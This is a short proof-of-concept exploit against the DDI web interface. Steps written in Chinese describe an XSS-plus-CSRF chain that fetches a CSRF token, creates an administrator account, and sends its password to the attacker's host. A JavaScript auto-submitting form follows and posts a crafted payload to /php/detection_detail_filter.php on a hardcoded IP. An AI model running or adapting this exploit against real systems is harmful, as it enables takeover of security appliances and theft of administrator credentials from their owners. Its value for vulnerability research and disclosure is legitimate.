1. 登录到DDI Web界面的用户被诱骗访问恶意网页。 
2. 利用 /php/detection_detail_filter.php 中的XSS漏洞，该页面上的恶意脚本被执行。
3. 该脚本通过向 /wsgi/csrf/get_token/ 发送 PUT 请求获取CSRF令牌。
4. 然后，它利用从先前请求的响应中获取的令牌添加一个具有管理员权限的账户。
5. 添加的账户的密码从先前请求的响应中获取。
6. 密码可以通过HTTP请求传输到攻击者的主机。

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>